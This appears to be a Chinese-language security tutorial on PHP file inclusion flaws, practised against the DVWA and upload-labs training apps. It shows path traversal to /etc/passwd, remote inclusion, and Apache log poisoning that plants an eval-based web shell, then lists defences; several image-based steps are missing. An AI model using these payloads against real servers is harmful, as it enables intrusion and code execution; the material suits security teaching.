文件包含
文件包含漏洞,即引入依赖文件导致的漏洞。开发者习惯将重复的代码、功能封装在一个文件里,然后另外的开发者可以包含该文件,然后执行调用该功能,该过程叫做文件包含。而开发者为了灵活性,将包含的文件设置为变量,去动态加载文件,该动态过程可以被利用而造成文件包含漏洞。
分类
- 本地包含:包含服务所在的服务器上的文件
- 远程包含:包含非服务所在的服务器上的第三方服务器的文件
PHP 包含函数
include()
:包含错误抛出警告,程序继续执行require()
:包含发生错误直接终止程序运行include_once()
:同include()
,不过文件只会被包含一次require_once()
:同require
,不过文件只会被包含一次
本地包含
将 DVWA 的 Level 设置为 low,然后访问 File inclusion,该 URL 上路径改为 /etc/passwd
也可以用相对路径,主要是用 ../
,只要 ../
足够多就能够达到根目录,比如:
远程包含
在 upload-labs 上传 info.php
,内容为 <?php phpinfo(); ?>
得到上传后的链接,然后在 DVWA 中访问:
中间件日志包含
日志文件中有包含请求的信息,因此可以利用日志文件。
首先我们要在日志文件中写入恶意代码:
为了方便测试,先给文件加上权限:
chmod 755 /var/log/apache2/
chmod 644 /var/log/apache2/access.log
接着访问 http://YOUR_ID_ADDRESS:PORT/vulnerabilities/fi/?page=<?php phpinfo();?>
注意 <?php phpinfo();?>
会被 URL 编码,利用 Burp 改回原来:
cat /var/log/apache2/access.log
查看日志文件,可以看到代码已经写入:
访问该日志文件即可执行代码 http://YOUR_IP_ADDRESS:PORT/vulnerabilities/fi/?page=/var/log/apache2/access.log
:
同样的方式我们使用 POST,访问 http://YOUR_ID_ADDRESS:PORT/vulnerabilities/fi/?page=<?php eval(@$_POST['cmd']);?>
然后打开蚁剑,注意要添加 Cookie:
连接:
防御
1️⃣ 设置白名单
2️⃣ 过滤危险字符
3️⃣ 设置文件目录权限
4️⃣ 关闭危险设置(非必要不设置 allow_url_include
和 allow_url_fopen
)
5️⃣ 严格检查 include
类的文件包含函数中的参数是否外界可控